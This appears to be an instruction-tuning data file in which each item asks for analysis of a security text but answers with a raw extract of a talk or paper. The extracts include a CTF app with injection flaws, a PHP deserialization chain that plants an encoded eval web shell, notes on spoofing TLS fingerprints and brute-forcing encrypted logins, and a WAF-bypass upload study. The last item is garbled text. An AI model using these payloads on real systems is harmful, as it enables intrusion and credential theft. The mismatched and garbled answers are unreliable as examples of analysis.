var_Array_1->head.size : 0x23 < var_Array_1->head.length : 0x2e Segment : head Left:0x00000000 Length:0x0000002e Size:0x00000023 Next segment Segment : head.next Left:0x00000023 Length:0x0000000b Size:0x00000012 Next segment Buffer:0x0000002e*4 Buffer:0x00000012*4 NativeIntArrayHead head Length:0x0000002e step 1 var_Array_1->head.size : 0x2e -> 0x23 var_Array_1->head.size : 0x23 < var_Array_1->head.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n互联网企业安全建设实践 北京站/3.29 靳晓飞 VIPKID安全中心 从这里说起 互联网企业安全建设整体思路 互联网企业面临安全挑战分析 互联网企业核心安全目标 互联网企业核心安全能力建设与提升 互联网企业整体安全视角 互联网企业基础安全体系建设框架 互联网企业安全建设蓝图 互联网企业安全建设如何落地实施 分阶段安全体系建设 如何评价企业安全建设的效果 基础安全全链路纵深防御架构 API 安全监控实践 需要对哪些API进行安全监控 注册接口 登录接口 找回密码接口 订单详情接口 收货地址接口 其他所有可能会被刷的API 安全监控目标设定 具备对高风险API被刷的分钟级主动发 现和感知能力并可与安全防御系统 联动实现自动化安全防护 技术上如何实现 流量分析 日志分析 API 安全监控实践 API 安全监控实践 Github安全监控实践 Github安全监控实践 项目地址https://github.com/VKSRC/Github-Monitor 做好企业安全建设的必要条件 写在最后 未知攻焉知防网络攻防对抗本质上是人与人之间的较量在安全建 设和安全运营过程中企业安全人员不能仅限于被动防御还需要积极转变思 路以攻击者视角来看待和审视安全风险做到攻防兼备化被动为主动 Thanks", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTop Ten Legal Questions* DEFCON 13 Jennifer S. Granick 1. Is it legal to sniff wireless networks? 2. What are the state and federal laws regulating access to computer systems? 3. How did the USA PATRIOT Act change computer crime investigation and prosecution? 4. Under what circumstances can the government collect information about me? 5. Does encryption protect me from surveillance, how can I protect my passwords and can the law compel me to turn passwords over? 6. What is the statute of limitations on computer crime cases? 7. When are computer logs and other digitally generated records admissible as evidence? 8. Whats the future of copyright laws like the DMCA and surveillance laws like the USA PATRIOT Act? 9. Is using encryption evidence of criminal intent? 10. How do I know when I need to talk to a lawyer? *Questions subject to change, but feel free to ask your questions during or following the talk. This talk is intended for informational purposes only. The talk is not intended to be, nor should it be interpreted as, legal advice or opinion. Neither the talk nor any information conveyed during the question and answer period creates an attorney-client relationship or any other relationship with the speaker. Contact information: Executive Director, Center for Internet and Society Stanford Law School jennifer @ law.stanford.edu http://cyberlaw.stanford.edu/", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nfrom flask import Flask, abort, redirect, request, Response import base64, json, MySQLdb, os, re, subprocess app = Flask(__name__) home = ''' Magical Image Gallery

Magical Image Gallery

$ALBUMS$ ''' viewAlbum = ''' $TITLE$ -- Magical Image Gallery

$TITLE$

$GALLERY$ ''' def getDb(): return MySQLdb.connect(host=\"localhost\", user=\"root\", password=\"\", db=\"level5\") def sanitize(data): return data.replace('&', '&').replace('<', '<').replace('>', '>').replace('\"', '\"') @app.route('/') def index(): cur = getDb().cursor() cur.execute('SELECT id, title FROM albums') albums = list(cur.fetchall()) rep = '' for id, title in albums: rep += '

%s

\\n' % sanitize(title) rep += '
' cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, )) fns = [] for pid, ptitle, pfn in cur.fetchall(): rep += '

%s
' % (pid, sanitize(ptitle)) fns.append(pfn) rep += 'Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\\n', 1)[-1] + '' rep += '
\\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404) # It's dangerous to go alone, take this: # FLAGFLAG0$FLAG$ return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() if __name__ == \"__main__\": app.run(host='0.0.0.0', port=80)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDrinking From the Caffeine Firehose We call SHODAN. By Viss! Prepared for Defcon 20 Thursday, July 12, 12 This is not just another shodan talk. Today we turn shodan into a gateway drug. Thursday, July 12, 12 What do people put on the internet? Routers, switches, servers, printers.. Meh. seen it. Show me something new! Thursday, July 12, 12 Whats on the internet that nobody is accounting for? ... is anybody actually checking? Seriously, has anybody ever done this? Thursday, July 12, 12 Apparently not! Thursday, July 12, 12 A little editorial on policy.... If you cant scan yourself freely, how do you determine your level of exposure? Whats the attack surface? Thursday, July 12, 12 Before we begin.. Everything found here is PUBLIC No credentials required no secure systems. This is all free play. Thursday, July 12, 12 Also, No systems were altered. This was a READ ONLY Exercise. Thursday, July 12, 12 Webcams! Thursday, July 12, 12 Who watches the watchers? Thursday, July 12, 12 Who watches the watchers? Meeeeeeee >:D Thursday, July 12, 12 Scada gear on webcams! Thursday, July 12, 12 Other stuff on webcams! Thursday, July 12, 12 But most cameras are boring Thursday, July 12, 12 This thing! ... (no idea) Thursday, July 12, 12 A um.. T-2000 ! .. ... whats a T-2000?.. relion? Thursday, July 12, 12 Its a hydrogen fuel cell. Thursday, July 12, 12 Looks industrial! Thursday, July 12, 12 Gets used a lot in .mil... Thursday, July 12, 12 This is how you use it Thursday, July 12, 12 So where do you find these things? Thursday, July 12, 12 Oh.. Thursday, July 12, 12 Security is a joke. Thursday, July 12, 12 Wind farms! Thursday, July 12, 12 Lighting, HVAC, Alarms Thursday, July 12, 12 More hvac/lighting Thursday, July 12, 12 Power meters? Thursday, July 12, 12 Heat pumps Thursday, July 12, 12 Bigger heat pumps Thursday, July 12, 12 Private residences?! Thursday, July 12, 12 ... trending data? Thursday, July 12, 12 Water heaters Thursday, July 12, 12 Familiar displays! Thursday, July", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBinder Fuzz based on drozer & Some interesting Vulnerabilities sharing (@0xr0ot) Kcon Beijing 2016 0xr0ot.sec@gmail.com Who am I ID:0xr0ot(not 0xroot) Security researcher(2 years) Mainly focus on Android security Always like basketball Agenda drozer introduction Binder fuzz model Case share How to exploit Drozer Architecture console agent server Functionality Exploit Scanner Metasploit? Design Principles Reflection Class loading Drozer mode direct mode infrastructure mode Commands drozer server start --port port drozer exploit build exploit.usb.socialengineering.usbdebugging --server ip -- credentials username password drozer console connect --server ip:port --password Writing a module Binder fuzz fuzz intent fuzz service call Why use drozer? I am familiar with it,XD! Fuzz model drozer module(core) external python script(control logic) All in the one drozer module is OK Case Share LockScreen bypass(or clear) Fake shutdown (eavesdropping) Capability leak System Dos LockScreen bypass(CVE-2016-3749) CVE-2016-3749 Details Windfall CVE-2016-3749 Patch My first high severity issue Fake Shutdown(eavesdropping) Samsung Capability Leak nexus series car mode samsung change theme Video demonstration System Dos(restart) nexus(3) Video demonstration. samsung(11) Samsung Acknowledgements Good News How to exploit(system service vulnerability) use AIDL file use java reflection native layer shell script Exploit-use AIDL file The Android SDK tools will help to generate an interface in the Java programming language, based on the .aidl file you import. The ***.aidl file not found,but its just there.If the similar error occurs,you can write the java code manually. Reference: Android Bound Service(by ) http://drops.wooyun.org/mobile/13676 Exploit-use AIDL file Exploit-use reflection The nature is the same as use AIDL file. It doesnt need .AIDL file. Exploit-native Exploit-shell script clear.sh key code: Runtime runtime = Runtime.getRuntime(); Proce", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n0xcsandker csandker RSS Feed //Posts //History of Windows //Archive //Tags & Search //ME Switch Theme Offensive Windows IPC Internals 3: ALPC 24 May 2022 (Last Updated: 29 5 2022) >> Introduction >> ALPC Internals >> The Basics >> ALPC Message Flow >> ALPC Messaging Details >> ALPC Message Attributes >> Putting the pieces together: A Sample Application >> Attack Surface >> Identify Targets >> Impersonation and Non-Impersonation >> Unfreed Message Objects >> Conclousion >> Appendix A: The use of connection and communication ports Contents: >> References After talking about two inter-process communication (IPC) protocols that can be uses remotely as well as locally, namely Named Pipes and RPC, with ALPC were now looking at a technology that can only be used locally. While RPC stands for Remote Procedure Call, ALPC reads out to Advanced Local Procedure Call, sometimes also referenced as Asynchronous Local Procedure Call. Especially the later reference (asynchronous) is a reference to the days of Windows Vista when ALPC was introduced to replace LPC (Local Procedure Call), which is the predecessor IPC mechanism used until the rise of Windows Vista. A quick word on LPC The local procedure call mechanism was introduced with the original Windows NT kernel in 1993-94 as a synchronous inter-process communication facility. Its synchronous nature meant that clients/servers had to wait for a message to dispatched and acted upon before execution could continue. This was one of the main aws that ALPC was designed to replace and the reason why ALPC is referred to by some as asynchronous LPC. ALPC was brought to light with Windows Vista and at least from Windows 7 onward LPC was completely removed from the NT kernel. To not break legacy applications and allow for backwards compatibility, which Microsoft is (in)famously known for, the function used to create an LPC port was kept, but the function call was redirected to not create an LPC, but an ALPC port. CreatePort API Call in W", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOld-Skool Brought Back A 1964 Modem Demo K.C. Budd \"phreakmonkey\" Taylor Banks \"dr. kaos\" Modems, explained Modulator / Demodulator Modulator: Encodes a digital signal over an analog representation Demodulator: Reconstructs the digital signal from the analog representation Digital signal rate = bits per second (bps) Analog \"symbol\" rate = baud In many cases, bps != baud Timeline of Modem History ~1959 \"Bell 101\" 110 baud standard, Anderson-Jacobson modems introduced for private-line use by US Military 1962 \"Bell 103\" 300 baud standard, AT&T commercial modems introduced ~1963 Livermore Data Systems Model A 1968 \"The Carterphone Decision\" - allowing third party devices to be electrically connected to telephone lines* 1972 Vadic 1200bps modem 1976 AT&T Bell 212A 1200bps standard 1981 Hayes 300bps \"Smartmodem\" Hayes AT-Command Set 1958 1968 1978 1988 Ladies and Gentlemen: A circa 1964 Livermore Data Systems Model A Modem Serial # 0279 So, wait. 1964? Isn't that older than you are? Comment on gizmodo.com : By: 92BuickLeSabre 10:12 PM on Thu May 28 2009 That was surprisingly bad-ass. (Especially the part at the beginning where he ripped off the poor grieving little old lady.) Model A: Physical Characteristics Hand Crafted Wood Box Dovetail Joints Brass Hardware Notch-cutout for Phone Handset Cord Labels Model A: Technical Characteristics Modulation: Bell 103 300 baud / 300 bps Originate Mode Only Frequency Shift Keying No error correction Directly Modulates RS232 TX line No internal clock No handshaking / synchronization Requires +/- 12V RS232 levels 5V TTL levels will not work Bell 103 Modulation FSK: RS232 TX Line: Carrier: Modulated Signal: Originate Mode: Mark = 1270 Hz Space = 1070 Hz Answer Mode: Mark = 2225 Hz Space = 2025 Hz mark space What Use is 300 baud? Terminal Sessions Troubleshooting Data Entry Data Transfers Program Submission Text files Reporting Business reports (ledgers, inventory, &etc) Status Monitoring Remote Sensing One Personal Account From: winnal", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nScanner Frequencies: Clark County Trunking System, Clark County, Nevada http://radioreference.com/modules.php?name=RR&sid=669 1 of 6 6/18/2007 14:49 NOT LOGGED IN Home Your Account Forums Database Wiki Submit Info Search RR Help Desk Clark County System US > Nevada > Clark County System Information Last Updated on 04-16-2007 18:37 System Name: Clark County Location: Clark County, NV County: Clark System Type: Motorola Type II SmartZone System Voice: Analog Sysid: 4A36 CT: 116.13 Last Updated: Added a set of talkgroups Hits: 16371 Latest News Update Posted on 2007-01-09 20:47:11 860.4375 additional system frequency; also used as a control channel; unknown site. Click Here to Display All Past News Updates (3 Total) System Frequencies Red* are Primary Control Channels, Blue* are alternate control channels Site Description Freqs 001 Las Vegas Simulcast 856.43750 856.76250 857.48750 857.76250 858.76250 859.26250 859.46250 859.93750 860.43750 860.48750* 860.93750* 868.30000 868.65000 868.82500 Home History Downloads NV Trunking Submit Watch Admin Paramedic Ringtones Send 10 Complimentary Ringtones to your cell. Scanner Frequencies: Clark County Trunking System, Clark County, Nevada http://radioreference.com/modules.php?name=RR&sid=669 2 of 6 6/18/2007 14:49 002 Apex Peak (Las Vegas) 857.98750 866.46250 867.16250 868.26250 868.55000 868.73750* 868.80000 003 Angel Peak (Mount Charleston) 860.76250 866.32500 866.80000 867.12500 867.32500 867.37500* 868.33750* 006 Site-6 868.50000* 008 Site-8 867.45000* System Talkgroups Updated in the last 7 days Updated in the last 24 hours List All in one table Clark County / Las Vegas Fire Talkgroups DEC HEX Description 40976 a01 Ch. 1 - Las Vegas East Dispatch (Zone 1) 41008 a03 Ch. 2 - Clark County West (Zone 3) 41040 a05 Ch. 3 - Clark County East (Zone 3) 41072 a07 Ch. 4 - Las Vegas West Dispatch (Zone 1) 41104 a09 Ch. 5 - North Las Vegas 41136 a0b Ch. 6 - Clark County South (Zone 3) 41200 a0f Henderson / Clark County Mutual Chann", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# TokyoWesterns 2020 ### Table of contents * [`easy_hash` (crypto/warmup)](easy_hash) * [`sqrt` (crypto)](https://ctftime.org/writeup/23620) * [`twin-d` (crypto)](https://ctftime.org/writeup/23632) * [The Melancholy of Alice (crypto)](https://ctftime.org/writeup/23633) * [urlcheck v1 (web)](https://bonusplay.pl/writeups/urlcheckv1) * [urlcheck v2 (web)](urlcheck_v2) * [Angular of the Universe (flag 1), and Angular of another Universe (web)](https://bonusplay.pl/writeups/angular_of_the_universe) * [smash (pwn)](smash) * [Reversing iS Amazing (re)](reversing_is_amazing/rsa.py) * [Nothing more to say (pwn)](nothing_more_to_say/exploit.py) * [mask (misc)](mask/solve.py) * [tamarin (re)](tamarin) * [Does Linux dream of Windows (web, misc)](does_linux_dream_of_windows) * [bfnote (web)](bfnote) * [XOR and shift encryptor (crypto)](xor_and_shift/solve.sage)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTCTF WriteUp By Nu1L TCTF WriteUp By Nu1L WEB soracon 1linephp worldcup Reverse vp FEA lalamblambdadambda Crypto zer0lfsr- checkin PWN listbook how2mutate uc_masteeer Babyheap 2021 MISC uc_baaaby GutHib welcome singer Survey WEB soracon phpsolrint pop chain context = $context; $this->time = $time; $this->levelName = $levelName; $this->message = $message; } } } namespace Phalcon\\Logger\\Formatter { class Line { public $format; public $dateFormat; public function __construct($format, $dateFormat) { $this->format = $format; $this->dateFormat = $dateFormat; } } } namespace Phalcon\\Logger\\Adapter { class Stream { public $name; public $inTransaction; public $mode; public $queue; public $formatter; public function __construct($name, $mode, $queue, $formatter) { $this->inTransaction = 1; $this->name = $name; $this->mode = $mode; $this->queue = $queue; $this->formatter = $formatter; } } } namespace { $time = new DateTimeImmutable(); $item = new Phalcon\\Logger\\Item([], $time, \"test\", \"test\"); $line = new Phalcon\\Logger\\Formatter\\Line('MTIzPD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbInh4Il0pOz8+', \"Y-m-d H:i:s\"); $queue1 = [$item]; $stream = new Phalcon\\Logger\\Adapter\\Stream(\"/tmp/x.php\", \"w\", $queue1, $line); $x = serialize($stream); header('Content-Type:text/xml'); $c = ' 1;i:1;' . $x . ';i:2;s:17:\"a 1 2\" '; echo $c; } services = [$possibleService => $service, \"modelsManager\"=>$s2]; $this->eventsManager = $eventsManager; $this->sharedInstances = [$possibleService => $evil_func_name ]; } } cl", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n! ! Attacks from Within: Windows Spreads Mirai to Enterprise IoT - Draft Steinthor Bjarnason Arbor Networks, ASERT sbjarnason@arbor.net Jason Jones Arbor Networks, ASERT jasonjones@arbor.net Abstract When the Mirai IoT Bot surfaced in September 2016, it received a lot of publicity, not only because of the large-scale attacks it launched against highly visible targets, but also due to the large scale compromise of IoT devices. This allowed the attackers to subsume 100,000s of vulnerable, poorly secured IoT devices into DDoS bots, gaining access to resources that could launch powerful DDoS attacks. However, as the original Mirai bot code scanned public Internet addresses to find new devices to infect, in most cases it was unable to detect and compromise IoT devices provisioned behind firewalls or NAT devices. As most firewalls stop these kind of scanning attacks, the (potential millions of) IoT devices behind firewalls were safe against detection and compromise. Or so most people thought 1 Enter the Mirai Windows Seeder ! In early February of 2017, a multi-stage Windows Trojan containing code to scan for vulnerable IoT devices and inject them with the Mirai bot code was detected in the wild. This weaponization of a Windows Trojan to deliver IoT bot code reveals an evolution in the threat landscape that most organizations are completely unprepared to deal with: DDoS attacks from within. Windows machines infected by the Seeder will now actively scan for IoT devices whenever they establish a network connection. For example, if a laptop gets compromised by the Windows Mirai Seeder on a public wireless network, it will start scanning for vulnerable IoT devices as soon as it makes a network connection. This includes connecting to internal corporate networks via VPN, connecting to Wireless networks, or by using a physical network connection. This is somewhat related to the old paradigm of attacking medieval castles. The castle walls (analogy: modern firewalls) were usually v", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 tls指纹 具体可参考这个 go默认使的client hello配置是固定不变的导致特征也是固定的所以需要做改动 go默认ja3指纹89be98bbd4f065fe510fca4893cf8d9b chromeja3指纹cd08e31494f9531f560d64c695473da9 共分为五个部分 SSLVersion,Cipher-Suites,SSLExtension,EllipticCurve,EllipticCurvePointFormat 为了尽量模拟浏览器的client hello我们先下go和chrome的tls指纹组成 go chrome SSLVersion致 可以修改Cipher-Suites 在pkg/transport/tls.gotls.Config持CipherSuites修改如下 ja3 此处为语雀内容卡点击链接查看https://www.yuque.com/go/doc/61846405?view=doc_embed 771,49199-49200-49195-49196-52392-52393-49171-49161-49172-49162-156-157-47- 53-49170-10-4865-4867-4866,5-10-11-13-65281-18-43-51,29-23-24-25,0 1 XML 复制代码 771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157- 47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,29-23-24,0 1 XML 复制代码 2 SSLExtension,扩展列表这个实在不好改go的官tls库chrome少了不少参数所以这个就先别做修 改了 EllipticCurve 椭圆曲线密码刚好也持这个选项配置就做调整 EllipticCurvePointFormat 最后项椭圆曲线格式默认均为0所以不做改动 总之共只需要修改两处 修改后指纹也就变化了可以区别于默认go程序的指纹但还法做到和浏览器致后续需要魔改 官tls库来兼容更多的extension才能实现完全模拟 base.CipherSuites = []uint16{4865,4866,4867,49195,49199,49196,49200,52393,5 2392,49171,49172,156,157,47,53} 1 XML 复制代码 base.CurvePreferences = []tls.CurveID{tls.X25519, tls.CurveP256, tls.CurveP 384} 1 XML 复制代码 3 章 https://mp.weixin.qq.com/s/og2IKo8lcydh8PROUPD7jQ https://segmentfault.com/a/1190000041699815 库 https://github.com/refraction-networking/utls 这个库是基于crypto/tls进开发的可以模拟绝部分情况下的ja3指纹 和官库差不多的法如下在封装时除了conn连接和config配置以外需要传 ClientHelloID 这个ID是有些内置的指纹可以直接调或者也可以定义 这是官库 u_common.go如下有常全的现成指纹信息可以 实现 conn, _ := net.DialTimeout(\"tcp\", \"121.14.77.201:443\", 10*time.Second) uConn := tls.UClient(conn, &tls.Config{ServerName: \"www.qq.com\", Insecu reSkipVerify: true}, tls.HelloChrome_102) uConn.Write([]byte(\"aaa\")) 1 2 3 Go 复制代码 4 这些ID最终对应到这个函数 utlsIdToSpec 5 后续可参考这边编写实现的 6 并且该库还持解析数据包中的client hello信息来动化构建个定义参数实现模拟各种ja3指纹 浏览器访问然后抓包找到client hello包选中tls层的数据然后复制成hex stream即可 7 将tls的hex数据粘贴到以下位置通过 fingerprinter.FingerprintClientHello 即可解析 成个定义spec封装到tlsConn直接使 要注意的是 ClientHelloID 还设置成 HelloCustom 即定义 8 可以看到完全致wireshark好像3.6以上就持ja3", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n某付宝登录js分析 收录于合集 #JS逆向 4个 aHR0cHM6Ly93d3cuYWxpcGF5LmNvbS8= f12 network Ctrl+Shift +F 局搜索需要解密的password关键字 2021-09-18 19:22 原创 不愿透露姓名的热友 位不愿透露姓名的热友 多次调试后最终在index.js中的393找到getPassword的法转搜索getPassword声明 位置在index.js中4979地找到声明信息 然后下断点对发包请求内容发现n的内容password字段信息内容n是 e.alipayEncrypt(2,i,t)传过来的所以只需要 由此可得 1 return e.alipayEncrypt(2,i,t) 1 2 n --> e .alipayEncrypt() e --> new s.RSA 先跟进下s.rsa 可以知道 s.RSA 是个 function 跟进 s.RSA 发现来到了 Wi 法名字不样的原因可能是 在上的代码重新赋值了名字不过不重要发现这个法是规定 key_size 和 exponent 的 回到getpassword找到加密法 e .alipayEncrypt() 发现也是 Wi 接着发现 Wi 是从 Gi 过 来的.....这种情况下发现加密法和其他js代码在同个js内有万代码的只能费时间 选择性的扣有代码了 3 4 s -- > ? ....... 回到 getPassword 法附近找到 s 是怎么来的在4971找到 s = security_crypto_200_index 这时候搜索 security_crypto_200_index 把js法扣下来 security_crypto_200_index内容是键值对我们只需要s.RSA也就是 security_crypto_200_lib_rsa 通过crtl+f 搜索相关信息可以找到security_crypto_200_lib_rsa开头结尾这个就是Wi 了具体在哪判断和调试了概为下内容 根据所需要的法 在不考虑 i 变动的情况下调代码剩下的就是和 s.RSA 样的步骤扣出 是 s.Base64 了 1 2 3 4 5 6 7 security_crypto_200_index = function(t) { return t = { Base64: security_crypto_200_lib_base64, xor: security_crypto_200_lib_xor, RSA: security_crypto_200_lib_rsa } }() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 security_crypto_200_lib_rsa = function(t) { function e(t, e, i) { null != t && (\"number\" == typeof t ? this.fromNumber(t, e, i) } ********* ************ ************** **************** return this.key }, Wi.prototype.getPrivateKey = function() { return this.getKey().getPrivateKey() }, Wi.prototype.getPrivateKeyB64 = function() { return this.getKey().getPrivateBaseKeyB64() }, Wi.prototype.getPublicKey = function() { return this.getKey().getPublicKey() }, Wi.prototype.getPublicKeyB64 = function() { return this.getKey().getPublicBaseKeyB64() }, t = Wi }() function getPassword(pwd) { var s = security_crypto_200_lib_rsa; var e = new s; //var i = security_crypto_200_lib_base64; //s.decode(options.TS); e.setPublicKey(\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo0z/L+pelCPu6 DwDFAY/3ITzesr8lnNmYjHht4XUJvLYYBwvDbHMc8xi9sPK9ohVHIKRVLVmmZ9", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe USA PATRIOT Act and You: A Legal Update Jennifer Stisa Granick, Esq. Stanford Law School Center for Internet & Society 559 Nathan Abbott Way Stanford, CA 94305 650-724-0014 jennifer@granick.com What Can I Do? Lobbying Works: Call or Write Your Congressperson Get Educated American Civil Liberties Union: http://www.aclu.org/issues/cyber/hmcl.html Electronic Frontier Foundation: www.eff.org/Privacy/Surveillance/Terrorism_militias/20011031_ef f_usa_patriot_analysis.html Center For Democracy and Technology: www.cdt.org Electronic Privacy Information Center: www.epic.org What is the USAPA? Drafted Before September 11 Rapidly Passed Following 9/11 Increases Govt Surveillance Powers Foreign Intelligence and L.E. Can Share Information Defines More Terrorist Offenses, Including Some Hacking Government Surveillance Increases Ability of Law Enforcement to Obtain Information Problem is Lack of Judicial Oversight and Review Changes to L.E. Power BEFORE Subscriber Info available with Subpoena. IPs, payment info, including CC and bank acct numbers available with 2703(d) order Email headers: arguably content data (Title III Warrant) AFTER Now includes IP, information re: payments, session times and durations. Sec 210, 211 Pen Register/Trap and Trace Order (Issue, subject line) Changes to L.E. Power (cont) BEFORE Web surfing: Arguably Title III warrant or 2703(d) order Searches of Email Content (Search warrant or subpoena w/ notice) AFTER Pen Register/Trap and Trace Order Extended Ability to Delay Notice Changes to L.E. Power (cont) BEFORE Wiretap authorization in district where telephone/computer is located Voicemail requires Title III Warrant AFTER Roving wiretaps Search warrant Changes to L.E. Power (cont) BEFORE Needed court order to monitor computer users Voicemail requires Title III Warrant AFTER If use is unauthorized then L.E. may monitor with permission of system owner Search warrant Changes to L.E. Power (cont) BEFORE ISPs may not disclos", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 OLONLNOV-从.NET源码看件上传绕waf @我是killer .NET般使 context.Request.Files 来处理件上传编写如下代码测试 跟件上传处理流程 C# 复制代码 using System.Web; namespace WebApplication1 { public class Handler1 : IHttpHandler { public void ProcessRequest(HttpContext context) { context.Response.ContentType = \"text/plain\"; HttpPostedFile file = context.Request.Files[\"file_upload\"]; string filePath = context.Server.MapPath(\"~/test/\") + System.IO.Path.GetFileName(file.FileName); file.SaveAs(filePath); context.Response.Write(filePath); } public bool IsReusable { get { return false; } } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 2 跟 System.Web.HttpRequest.EnsureFiles 跟 System.Web.HttpRequest.FillInFilesCollection 3 第个红框处判断了我们的Content-Type是否以 multipart/form-data 开头 第个红框处以及在获取件相关的东了说明已经解析完了说明解析的地在箭头处 于是跟 System.Web.HttpRequest.GetMultipartContent GetAttributeFromHeader 代码如下 4 C# 复制代码 private static string GetAttributeFromHeader(string headerValue, string attrName) { if (headerValue == null) return (string) null; int length1 = headerValue.Length; int length2 = attrName.Length; int startIndex; for (startIndex = 1; startIndex < length1; startIndex += length2) { startIndex = CultureInfo.InvariantCulture.CompareInfo.IndexOf(headerValue, attrName, startIndex, CompareOptions.IgnoreCase); if (startIndex >= 0 && startIndex + length2 < length1) { char c1 = headerValue[startIndex - 1]; char c2 = headerValue[startIndex + length2]; if ((c1 == ';' || c1 == ',' || char.IsWhiteSpace(c1)) && (c2 == '=' || char.IsWhiteSpace(c2))) break; } else break; } if (startIndex < 0 || startIndex >= length1) return (string) null; int index1 = startIndex + length2; while (index1 < length1 && char.IsWhiteSpace(headerValue[index1])) ++index1; if (index1 >= length1 || headerValue[index1] != '=') return (string) null; int num1 = index1 + 1; while (num1 < length1 && char.IsWhiteSpace(headerValue[num1])) ++num1; if (num1 >= length1) return (string) null; string attributeFromHeader; if (num1 < length1 && headerValue[num1] ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 js加密爆破技巧 js格式化然后下断点 source下断点找到加密算法位置通过console批量加密 2 弄这个加上明便搜索 sublime批量格式化密码 JavaScript 复制代码 let pwds = [\"123456\", \"111111\"]; for (let pwd of pwds) { let encrypt = o.encrypt(i.MD5(pwd).toString()); console.log(\"pwd: %s;encrypt text: $$encrypt$$%s$$encrypt$$; \", pwd, encrypt); }; 1 2 3 4 5 6 3 JavaScript 复制代码 (.*) 替换 \"\\1\", 1 2 3 4 全选复制提取表达式 JavaScript 复制代码 # 提取第次 \\$\\$encrypt\\$\\$(.*?)\\$\\$encrypt\\$\\$ # 第次去掉encrypt分隔符 \\$\\$encrypt\\$\\$(.*?)\\$\\$encrypt\\$\\$ replace \\1 1 2 3 4 5 6 7", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n!\"#$%&%' ()*+'\",'$-+'' ./$\"0%$+1'(+1'2+%0' !\"#$\"%&'()*+%' ,\"-./0\"+%$\"12%-' !\"#$\"%#&' ! !\"#$%&'()*+ ! ,'&-\")\"+ ! ./0-&/1(-2*+!'-0+ ! 3'0-42567'/-\"-/')+ ! !28\"9/'&+:'*/;#\"-/')+ ! <02&+=)-2&>\"#2+ ?8/0+@'&$+@\"0+A\"*2+6'00/172+-8&'(%8+.BC3BD0+ ,E12&+F\"0-+?&\"#$+6&'%&\"AG+ ()*+'+)%,'+*-.'%,'/0+' ! H'-+\"+,'&-\")\"+-(-'&/\"7++ ! I'A2+>2\"-(&20+\"&2+0$/662*+2)-/&27E+ ! B)+2567'&\"-/')+'>+-82+0'>-@\"&2+\"%2)-+ 6&'%&\"AA/)%+6\"&\"*/%A+ \" ?8/0+/0+0\"*+ \" !2#\"(02+/-+/0+>()+ \" #+ 102*34,'50*-,' ! .2A')0-\"-2+@8\"-+,'&-\")\"+#\")+*'+ ! ,'92&+A\"J'&+>()#-/')\"7/-E+ ! K)#'(&\"%2+E'(+-'+-&E+/-G+ 6/+$0278+%0/9':*;)*#-'<72=#' ! F'&A2&7EL+=C,+M\":2C+ ! .2927'62&L+J=C,//+=C,+,7/2)-+ ! .2927'62&L+I7226+I#&/6-/)%+M\")%(\"%2+ ! .2927'62&L+B&A/-\"%2+ ! F'()*2&L+I-&\"-2%/#+,E12&+MM,+ 6/+$0278+%0/9'>6:?%%' 6/+$0278+%0/9'@-##;' ! 32&7+/)06/&2*+0E)-\"5+ ! !(/7-+')+N\"9\"+ ! K5-2)0/172+ ! IA\"77O+PQRSTU!V+ ! KA12**2*+/)+J=C,//+ 6/+$0278+%0/9'A$B%+*=#' A$B%+*=#'?0--*C0$*+%0/' ?0$+*/*9'()*+'%,'%+D' ! B+I#&/6-/)%+M\")%(\"%2+-'W+ \" B(-'A\"-2+:2-\"067'/-+F&\"A2@'&$+ \" K5-2)*+B&A/-\"%2+ ?0$+*/*9'()*+'%,'%+D' 1)#'@0E+&*$#'A=#/+'F#/,#G' ! ,'&-\")\"+/0+\"+*'A\"/)4062#/;#+7\")%(\"%2+-'+*2927'6+ XB%2)-0Y+-8\"-+#')*(#-+#E12&+'62&\"-/')0Z+ 